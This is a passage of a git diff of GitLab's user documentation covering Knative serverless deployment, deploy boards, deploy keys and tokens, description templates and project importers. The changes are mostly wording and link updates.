access and you can proceed to the next step. - Otherwise, you need to manually grant GitLab's service account the ability to manage + Otherwise, you need to manually grant the GitLab service account the ability to manage resources in the `serving.knative.dev` API group. Since every GitLab service account has the `edit` cluster role, the simplest way to do this is with an [aggregated ClusterRole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles) @@ -234,12 +234,12 @@ Follow these steps to deploy a function using the Node.js runtime to your Knative instance (you can skip these steps if you've cloned the example project): -1. Create a directory that will house the function. In this example we will +1. Create a directory to house the function. In this example we will create a directory called `echo` at the root of the project. -1. Create the file that will contain the function code. In this example, our file is called `echo.js` and is located inside the `echo` directory. If your project is: +1. Create the file to contain the function code. In this example, our file is called `echo.js` and is located inside the `echo` directory. If your project is: - Public, continue to the next step. - - Private, you will need to [create a GitLab deploy token](../../deploy_tokens/index.md#creating-a-deploy-token) with `gitlab-deploy-token` as the name and the `read_registry` scope. + - Private, you must [create a GitLab deploy token](../../deploy_tokens/index.md#creating-a-deploy-token) with `gitlab-deploy-token` as the name and the `read_registry` scope. 1. `.gitlab-ci.yml`: this defines a pipeline used to deploy your functions. It must be included at the root of your repository: @@ -304,7 +304,7 @@ Explanation of the fields used above: | Parameter | Description | |-----------|-------------| -| `service` | Name for the Knative service which will serve the function. | +| `service` | Name for the Knative service which serves the function. | | `description` | A short description of the `service`. | ### `provider` @@ -349,9 +349,9 @@ The optional `runtime` parameter can refer to one of the following runtime alias | `openfaas/classic/ruby` | OpenFaaS | After the `gitlab-ci.yml` template has been added and the `serverless.yml` file -has been created, pushing a commit to your project will result in a CI pipeline -being executed which will deploy each function as a Knative service. Once the -deploy stage has finished, additional details for the function will appear +has been created, pushing a commit to your project results in a CI pipeline +being executed which deploys each function as a Knative service. After the +deploy stage has finished, additional details for the function display under **Operations > Serverless**.  @@ -376,7 +376,7 @@ The sample function can now be triggered from any HTTP client using a simple `PO --header "Content-Type: application/json" \ --request POST \ --data '{"GitLab":"FaaS"}' \ - http://functions-echo.functions-1.functions.example.com/ + "http://functions-echo.functions-1.functions.example.com/" ``` 1. Using a web-based tool (such as Postman or Restlet) @@ -443,14 +443,13 @@ To run a function locally: 1. Invoke your function: ```shell - curl http://localhost:8080 + curl "http://localhost:8080" ``` ## Deploying Serverless applications > Introduced in GitLab 11.5. -12345678901234567890123456789012345678901234567890123456789012345678901234567890 Serverless applications are an alternative to [serverless functions](#deploying-functions). They're useful in scenarios where an existing runtime does not meet the needs of an application, such as one written in a language that has no runtime available. @@ -482,7 +481,7 @@ A `serverless.yml` file is not required when deploying serverless applications. ### Deploy the application with Knative -With all the pieces in place, the next time a CI pipeline runs, the Knative application will be deployed. Navigate to +With all the pieces in place, the next time a CI pipeline runs the Knative application deploys. Navigate to **CI/CD > Pipelines** and click the most recent pipeline. ### Function details @@ -498,13 +497,13 @@ rows to bring up the function details page.  -The pod count will give you the number of pods running the serverless function instances on a given cluster. +The pod count gives you the number of pods running the serverless function instances on a given cluster. For the Knative function invocations to appear, [Prometheus must be installed](../index.md#installing-applications). Once Prometheus is installed, a message may appear indicating that the metrics data _is -loading or is not available at this time._ It will appear upon the first access of the +loading or is not available at this time._ It appears upon the first access of the page, but should go away after a few seconds. If the message does not disappear, then it is possible that GitLab is unable to connect to the Prometheus instance running on the cluster. @@ -558,7 +557,7 @@ Or: ## Enabling TLS for Knative services -By default, a GitLab serverless deployment will be served over `http`. To serve +By default, a GitLab serverless deployment is served over `http`. To serve over `https`, you must manually obtain and install TLS certificates. 12345678901234567890123456789012345678901234567890123456789012345678901234567890 @@ -647,7 +646,7 @@ or with other versions of Python. ``` 1. Create certificate and private key files. Using the contents of the files - returned by Certbot, we'll create two files in order to create the + returned by Certbot, create two files in order to create the Kubernetes secret: Run the following command to see the contents of `fullchain.pem`: @@ -767,7 +766,7 @@ or with other versions of Python. 1. Create a Kubernetes secret to hold your TLS certificate, `cert.pem`, and the private key `cert.pk`: - NOTE: **Note:** + NOTE: Running `kubectl` commands on your cluster requires setting up access to the cluster first. For clusters created on GKE, see [GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl). @@ -828,8 +827,8 @@ or with other versions of Python. ``` After your changes are running on your Knative cluster, you can begin using the HTTPS protocol for secure access your deployed Knative services. - In the event a mistake is made during this process and you need to update the cert, you will need to edit the gateway `knative-ingress-gateway` - to switch back to `PASSTHROUGH` mode. Once corrections are made, edit the file again so the gateway will use the new certificates. + In the event a mistake is made during this process and you need to update the cert, you must edit the gateway `knative-ingress-gateway` + to switch back to `PASSTHROUGH` mode. Once corrections are made, edit the file again so the gateway uses the new certificates. ## Using an older version of `gitlabktl` diff --git a/doc/user/project/code_intelligence.md b/doc/user/project/code_intelligence.md index 5f96f65ea06..19dc3588162 100644 --- a/doc/user/project/code_intelligence.md +++ b/doc/user/project/code_intelligence.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md index 37ebef3a26e..d0e89400d88 100644 --- a/doc/user/project/code_owners.md +++ b/doc/user/project/code_owners.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -112,7 +112,7 @@ in the `.gitignore` file followed by one or more of: - A user's `@username`. - A user's email address. - The `@name` of one or more groups that should be owners of the file. -- Lines starting with `#` are escaped. +- Lines starting with `#` are ignored. The order in which the paths are defined is significant: the last pattern that matches a given path will be used to find the code owners. diff --git a/doc/user/project/container_registry.md b/doc/user/project/container_registry.md index 91c9d3171dc..17e86b6d7e8 100644 --- a/doc/user/project/container_registry.md +++ b/doc/user/project/container_registry.md @@ -3,3 +3,6 @@ redirect_to: '../packages/container_registry/index.md' --- This document was moved to [another location](../packages/container_registry/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/cycle_analytics.md b/doc/user/project/cycle_analytics.md index 9d1cc508f63..5c235f6708b 100644 --- a/doc/user/project/cycle_analytics.md +++ b/doc/user/project/cycle_analytics.md @@ -3,3 +3,6 @@ redirect_to: '../analytics/value_stream_analytics.md' --- This document was moved to [another location](../analytics/value_stream_analytics.md) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md index 2bf35b48547..7546556a7c0 100644 --- a/doc/user/project/deploy_boards.md +++ b/doc/user/project/deploy_boards.md @@ -1,15 +1,16 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto, reference --- -# Deploy Boards **(PREMIUM)** +# Deploy Boards **(CORE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1589) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1589) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0. +> - [Moved](<https://gitlab.com/gitlab-org/gitlab/-/issues/212320>) to GitLab Core in 13.7. -GitLab's Deploy Boards offer a consolidated view of the current health and +GitLab Deploy Boards offer a consolidated view of the current health and status of each CI [environment](../../ci/environments/index.md) running on [Kubernetes](https://kubernetes.io), displaying the status of the pods in the deployment. Developers and other teammates can view the progress and status of a rollout, pod by pod, in the workflow they already use @@ -74,7 +75,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/ 1. Have a Kubernetes cluster up and running. - NOTE: **Running on OpenShift:** + NOTE: If you are using OpenShift, ensure that you're using the `Deployment` resource instead of `DeploymentConfiguration`. Otherwise, the Deploy Boards won't render correctly. For more information, read the @@ -98,7 +99,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/ Kubernetes as well. The image below demonstrates how this is shown inside Kubernetes. - NOTE: **Note:** + NOTE: Matching based on the Kubernetes `app` label was removed in [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/14020). To migrate, please apply the required annotations (see above) and @@ -143,7 +144,7 @@ spec: The annotations will be applied to the deployments, replica sets, and pods. By changing the number of replicas, like `kubectl scale --replicas=3 deploy APPLICATION_NAME -n ${KUBE_NAMESPACE}`, you can follow the instances' pods from the board. -NOTE: **Note:** +NOTE: The YAML file is static. If you apply it using `kubectl apply`, you must manually provide the project and environment slugs, or create a script to replace the variables in the YAML before applying. diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md index 4f344554016..39b790544c1 100644 --- a/doc/user/project/deploy_keys/index.md +++ b/doc/user/project/deploy_keys/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto, reference --- @@ -27,7 +27,7 @@ repository in automation, it's a simple solution. A drawback is that your repository could become vulnerable if a remote machine is compromised by a hacker. You should limit access to the remote machine before a deploy key is -enabled on your repository. A good rule to follow is to access only to trusted users, +enabled on your repository. A good rule to follow is to provide access only to trusted users, and make sure that the allowed users have [maintainer permissions or higher](../../permissions.md) in the GitLab project. @@ -108,7 +108,7 @@ keys that were [made available to your entire GitLab instance](#public-deploy-ke After a key is added, you can edit it to update its title, or switch between `read-only` and `read-write` access. -NOTE: **Note:** +NOTE: If you have enabled a privately or publicly accessible or deploy key for your project, and if you then update the access level for this key from `read-only` to `read-write`, the change will be only for the **current project**. @@ -134,7 +134,7 @@ Instance administrators can add public deploy keys: After adding a key, it will be available to any shared systems. Project maintainers or higher can [authorize a public deploy key](#project-deploy-keys) to start using it with the project. -NOTE: **Note:** +NOTE: The **Publicly accessible deploy keys** tab within Project's CI/CD settings only appears if there is at least one Public deploy key configured. @@ -146,7 +146,7 @@ When creating a Public deploy key, determine whether or not it can be defined fo very narrow usage, such as just a specific service, or if it needs to be defined for broader usage, such as full `read-write` access for all services. -CAUTION: **Warning:** +WARNING: Adding a public deploy key does not immediately expose any repository to it. Public deploy keys enable access from other systems, but access is not given to any project until a project maintainer chooses to make use of it. diff --git a/doc/user/project/deploy_tokens/img/deploy_tokens.png b/doc/user/project/deploy_tokens/img/deploy_tokens.png Binary files differdeleted file mode 100644 index 1981b0747bf..00000000000 --- a/doc/user/project/deploy_tokens/img/deploy_tokens.png +++ /dev/null diff --git a/doc/user/project/deploy_tokens/img/deploy_tokens_ui.png b/doc/user/project/deploy_tokens/img/deploy_tokens_ui.png Binary files differnew file mode 100644 index 00000000000..83f59b8f6f0 --- /dev/null +++ b/doc/user/project/deploy_tokens/img/deploy_tokens_ui.png diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md index 1ac528ca4ae..ac19c44c58a 100644 --- a/doc/user/project/deploy_tokens/index.md +++ b/doc/user/project/deploy_tokens/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -18,6 +18,8 @@ container registry images of a project without having a user and a password. Deploy tokens can be managed by [maintainers only](../../permissions.md). +Deploy tokens cannot be used with the GitLab API. + If you have a key pair, you might want to use [deploy keys](../../../ssh/README.md#deploy-keys) instead. @@ -36,7 +38,7 @@ project. Alternatively, you can also create [group-scoped deploy tokens](#group- 1. Save the deploy token somewhere safe. After you leave or refresh the page, **you won't be able to access it again**. - + ## Deploy token expiration @@ -91,7 +93,7 @@ To read the container registry images, you'll need to: 1. Create a Deploy Token with `read_registry` as a scope. 1. Take note of your `username` and `token`. -1. Sign in to GitLab’s Container Registry using the deploy token: +1. Sign in to the GitLab Container Registry using the deploy token: ```shell docker login -u <username> -p <deploy_token> registry.example.com @@ -108,7 +110,7 @@ To push the container registry images, you'll need to: 1. Create a Deploy Token with `write_registry` as a scope. 1. Take note of your `username` and `token`. -1. Sign in to GitLab’s Container Registry using the deploy token: +1. Sign in to the GitLab Container Registry using the deploy token: ```shell docker login -u <username> -p <deploy_token> registry.example.com @@ -149,6 +151,9 @@ belong either to the specific group or to one of its subgroups. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Group Deploy Tokens](https://youtu.be/8kxTJvaD9ks). +The Group Deploy Tokens UI is now accessible under **Settings > Repository**, +not **Settings > CI/CD** as indicated in the video. + To use a group deploy token: 1. [Create](#creating-a-deploy-token) a deploy token for a group. @@ -174,7 +179,7 @@ those variables: docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY ``` -NOTE: **Note:** +NOTE: The special handling for the `gitlab-deploy-token` deploy token is not currently implemented for group deploy tokens. For the deploy token to be available for CI/CD jobs, it must be created at the project level. For details, see diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md index 4c14251cfa5..db2631f9596 100644 --- a/doc/user/project/description_templates.md +++ b/doc/user/project/description_templates.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Description templates @@ -26,7 +26,7 @@ are added to the root directory of a GitLab project's repository. Description templates must be written in [Markdown](../markdown.md) and stored in your project's repository under a directory named `.gitlab`. Only the -templates of the default branch will be taken into account. +templates of the default branch are taken into account. ## Use-cases @@ -53,7 +53,7 @@ To create a Markdown file: example `feature_request.md` or `Feature Request.md`. 1. Commit and push to your default branch. -If you don't have a `.gitlab/issue_templates` directory in your repository, you'll need to create it. +If you don't have a `.gitlab/issue_templates` directory in your repository, you need to create it. To create the `.gitlab/issue_templates` directory: @@ -74,12 +74,12 @@ push to your default branch. ## Using the templates Let's take for example that you've created the file `.gitlab/issue_templates/Bug.md`. -This will enable the `Bug` dropdown option when creating or editing issues. When -`Bug` is selected, the content from the `Bug.md` template file will be copied -to the issue description field. The 'Reset template' button will discard any -changes you made after picking the template and return it to its initial status. +This enables the `Bug` dropdown option when creating or editing issues. When +`Bug` is selected, the content from the `Bug.md` template file is copied +to the issue description field. The **Reset template** button discards any +changes you made after picking the template and returns it to its initial status. -TIP: **Tip:** +NOTE: You can create short-cut links to create an issue using a designated template. For example: `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal`.  @@ -92,7 +92,7 @@ You can create short-cut links to create an issue using a designated template. F The visibility of issues and/or merge requests should be set to either "Everyone with access" or "Only Project Members" in your project's **Settings / Visibility, project features, permissions** section, otherwise the -template text areas won't show. This is the default behavior so in most cases +template text areas don't show. This is the default behavior, so in most cases you should be fine. 1. Go to your project's **Settings**. @@ -108,7 +108,7 @@ you should be fine.  After you add the description, hit **Save changes** for the settings to take -effect. Now, every time a new merge request or issue is created, it will be +effect. Now, every time a new merge request or issue is created, it is pre-filled with the text you entered in the template(s). ## Description template example @@ -117,9 +117,9 @@ We make use of Description Templates for Issues and Merge Requests within the Gi Edition project. Please refer to the [`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab) for some examples. -TIP: **Tip:** +NOTE: It's possible to use [quick actions](quick_actions.md) within description templates to quickly add -labels, assignees, and milestones. The quick actions will only be executed if the user submitting +labels, assignees, and milestones. The quick actions are only executed if the user submitting the issue or merge request has the permissions to perform the relevant actions. Here is an example of a Bug report template: diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md index 46c2e211d57..49918b8f023 100644 --- a/doc/user/project/file_lock.md +++ b/doc/user/project/file_lock.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -152,7 +152,7 @@ git lfs unlock --id=123 --force You can normally push files to GitLab whether they're locked or unlocked. -NOTE: **Note:** +NOTE: Although multi-branch file locks can be created and managed through the Git LFS command line interface, file locks can be created for any file. @@ -175,7 +175,7 @@ tracked by Git LFS plus a padlock icon on exclusively-locked files: You can also [view and remove existing locks](#view-and-remove-existing-locks) from the GitLab UI. -NOTE: **Note:** +NOTE: When you rename an exclusively-locked file, the lock is lost. You'll have to lock it again to keep it locked. diff --git a/doc/user/project/git_attributes.md b/doc/user/project/git_attributes.md index 577f0f1f754..459abea455b 100644 --- a/doc/user/project/git_attributes.md +++ b/doc/user/project/git_attributes.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/user/project/gpg_signed_commits/index.md b/doc/user/project/gpg_signed_commits/index.md index bd9a5313489..206013210a0 100644 --- a/doc/user/project/gpg_signed_commits/index.md +++ b/doc/user/project/gpg_signed_commits/index.md @@ -3,3 +3,6 @@ redirect_to: '../repository/gpg_signed_commits/index.md' --- This document was moved to [another location](../repository/gpg_signed_commits/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/highlighting.md b/doc/user/project/highlighting.md index 5f7c754ec75..1d92e32e071 100644 --- a/doc/user/project/highlighting.md +++ b/doc/user/project/highlighting.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -9,7 +9,7 @@ type: reference GitLab provides syntax highlighting on all files through the [Rouge](https://rubygems.org/gems/rouge) Ruby gem. It will try to guess what language to use based on the file extension, which most of the time is sufficient. -NOTE: **Note:** +NOTE: The [Web IDE](web_ide/index.md) and [Snippets](../snippets.md) use [Monaco Editor](https://microsoft.github.io/monaco-editor/) for text editing, which internally uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for syntax highlighting. @@ -28,7 +28,7 @@ The paths here are simply Git's built-in [`.gitattributes` interface](https://gi /Nicefile gitlab-language=ruby ``` -To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shenanigans are available through CGI options, such as: +To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shenanigans are available through common gateway interface (CGI) options, such as: ``` conf # json with erb in it @@ -40,5 +40,5 @@ To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shen Please note that these configurations will only take effect when the `.gitattributes` file is in your default branch (usually `master`). -NOTE: **Note:** +NOTE: The Web IDE does not support `.gitattribute` files, but it's [planned for a future release](https://gitlab.com/gitlab-org/gitlab/-/issues/22014). diff --git a/doc/user/project/img/canary_weight.png b/doc/user/project/img/canary_weight.png Binary files differnew file mode 100644 index 00000000000..e6544358c15 --- /dev/null +++ b/doc/user/project/img/canary_weight.png diff --git a/doc/user/project/img/issue_board_default_lists_v13_4.png b/doc/user/project/img/issue_board_default_lists_v13_4.png Binary files differdeleted file mode 100644 index 23cdc9b4e22..00000000000 --- a/doc/user/project/img/issue_board_default_lists_v13_4.png +++ /dev/null diff --git a/doc/user/project/img/issue_boards_add_issues_modal_v13_6.png b/doc/user/project/img/issue_boards_add_issues_modal_v13_6.png Binary files differdeleted file mode 100644 index a138efc9c1c..00000000000 --- a/doc/user/project/img/issue_boards_add_issues_modal_v13_6.png +++ /dev/null diff --git a/doc/user/project/img/protected_branches_deploy_keys_v13_5.png b/doc/user/project/img/protected_branches_deploy_keys_v13_5.png Binary files differnew file mode 100644 index 00000000000..6eda7a671b2 --- /dev/null +++ b/doc/user/project/img/protected_branches_deploy_keys_v13_5.png diff --git a/doc/user/project/img/rollout_status_canary_ingress.png b/doc/user/project/img/rollout_status_canary_ingress.png Binary files differdeleted file mode 100644 index fb59ba31615..00000000000 --- a/doc/user/project/img/rollout_status_canary_ingress.png +++ /dev/null diff --git a/doc/user/project/img/service_desk_issue_tracker.png b/doc/user/project/img/service_desk_issue_tracker.png Binary files differindex 02d18c9debb..0fde4c182cf 100644 --- a/doc/user/project/img/service_desk_issue_tracker.png +++ b/doc/user/project/img/service_desk_issue_tracker.png diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md index 56266718d12..6f274dd12a2 100644 --- a/doc/user/project/import/bitbucket.md +++ b/doc/user/project/import/bitbucket.md @@ -2,12 +2,12 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import your project from Bitbucket Cloud to GitLab -NOTE: **Note:** +NOTE: The Bitbucket Cloud importer works only with Bitbucket.org, not with Bitbucket Server (aka Stash). If you are trying to import projects from Bitbucket Server, use [the Bitbucket Server importer](bitbucket_server.md). @@ -38,10 +38,10 @@ to enable this if not already. ## How it works When issues/pull requests are being imported, the Bitbucket importer tries to find -the Bitbucket author/assignee in GitLab's database using the Bitbucket `nickname`. +the Bitbucket author/assignee in the GitLab database using the Bitbucket `nickname`. For this to work, the Bitbucket author/assignee should have signed in beforehand in GitLab and **associated their Bitbucket account**. Their `nickname` must also match their Bitbucket -`username.`. If the user is not found in GitLab's database, the project creator +`username.`. If the user is not found in the GitLab database, the project creator (most of the times the current user that started the import process) is set as the author, but a reference on the issue about the original Bitbucket author is kept. diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md index ac5be2b46a4..bb2256c9464 100644 --- a/doc/user/project/import/bitbucket_server.md +++ b/doc/user/project/import/bitbucket_server.md @@ -2,14 +2,14 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import your project from Bitbucket Server to GitLab > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20164) in GitLab 11.2. -NOTE: **Note:** +NOTE: The Bitbucket Server importer does not work with [Bitbucket Cloud](https://bitbucket.org). Use the [Bitbucket Cloud importer](bitbucket.md) for that. @@ -70,7 +70,7 @@ namespace that started the import process. > - It's not recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. If you've enabled this feature, the importer tries to find a user in the GitLab user database with diff --git a/doc/user/project/import/clearcase.md b/doc/user/project/import/clearcase.md index a825084dd1a..7e07ca6f865 100644 --- a/doc/user/project/import/clearcase.md +++ b/doc/user/project/import/clearcase.md @@ -2,12 +2,12 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migrating from ClearCase -[ClearCase](https://www.ibm.com/us-en/marketplace/rational-clearcase) is a set of +[ClearCase](https://www.ibm.com/products/rational-clearcase) is a set of tools developed by IBM which also include a centralized version control system similar to Git. diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md index 2957b33c20e..82ff889c043 100644 --- a/doc/user/project/import/cvs.md +++ b/doc/user/project/import/cvs.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migrating from CVS @@ -69,7 +69,8 @@ Migrating to Git/GitLab will benefit you: Here's a few links to get you started with the migration: -- [Migrate using the `cvs-fast-export` tool](http://www.catb.org/~esr/reposurgeon/dvcs-migration-guide.html) ([_source code_](https://gitlab.com/esr/cvs-fast-export)) +- [Migrate using the `cvs-fast-export` tool](https://gitlab.com/esr/cvs-fast-export) - [Stack Overflow post on importing the CVS repo](https://stackoverflow.com/a/11490134/974710) - [Convert a CVS repository to Git](https://www.techrepublic.com/blog/linux-and-open-source/convert-cvs-repositories-to-git/) - [Man page of the `git-cvsimport` tool](https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-cvsimport.html) +- [Migrate using `reposurgeon`](http://www.catb.org/~esr/reposurgeon/repository-editing.html#conversion) diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md index 149b5d1913c..1371ca57bc9 100644 --- a/doc/user/project/import/fogbugz.md +++ b/doc/user/project/import/fogbugz.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import your project from FogBugz to GitLab diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md index 2d0caa7d46e..38679914a9d 100644 --- a/doc/user/project/import/gemnasium.md +++ b/doc/user/project/import/gemnasium.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Gemnasium **(ULTIMATE)** @@ -66,19 +66,19 @@ GitHub.com or GitHub Enterprise repository. This will automatically prompt GitLab CI/CD to run whenever code is pushed to GitHub and post CI/CD results back to both GitLab and GitHub when completed. -1. Create a new project, and select the "CI/CD for external repo" tab: +1. Create a new project, and select "CI/CD for external repo": -  +  1. Use the "GitHub" button to connect your repositories. -  +  1. Select the project(s) to be set up with GitLab CI/CD and chose "Connect". -  +  - Once the configuration is done, you may click on your new + After the configuration is done, you may click on your new project on GitLab.  @@ -107,7 +107,7 @@ back to both GitLab and GitHub when completed.  -NOTE: **Note:** +NOTE: If you don't commit very often to your project, you may want to use [scheduled pipelines](../../../ci/pipelines/schedules.md) to run the job on a regular basis. diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md index 81ab16590dc..26e5a86b808 100644 --- a/doc/user/project/import/gitea.md +++ b/doc/user/project/import/gitea.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import your project from Gitea to GitLab @@ -11,7 +11,7 @@ Import your projects from Gitea to GitLab with minimal effort. ## Overview -NOTE: **Note:** +NOTE: This requires Gitea `v1.0.0` or newer. - At its current state, Gitea importer can import: @@ -27,7 +27,7 @@ This requires Gitea `v1.0.0` or newer. ## How it works Since Gitea is currently not an OAuth provider, author/assignee cannot be mapped -to users in your GitLab's instance. This means that the project creator (most of +to users in your GitLab instance. This means that the project creator (most of the times the current user that started the import process) is set as the author, but a reference on the issue about the original Gitea author is kept. diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md index 6c0105aaded..8b6d86b14c9 100644 --- a/doc/user/project/import/github.md +++ b/doc/user/project/import/github.md @@ -2,7 +2,7 @@ type: reference, howto stage: Manage group: Import -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Import your project from GitHub to GitLab @@ -23,6 +23,8 @@ The following aspects of a project are imported: - Labels (GitLab.com & 8.7+) - Release note descriptions (GitLab.com & 8.12+) - Pull request review comments (GitLab.com & 10.2+) +- Pull request reviews (GitLab.com & 13.7+) +- Pull request "merged by" information (GitLab.com & 13.7+) - Regular issue and pull request comments - [Git Large File Storage (LFS) 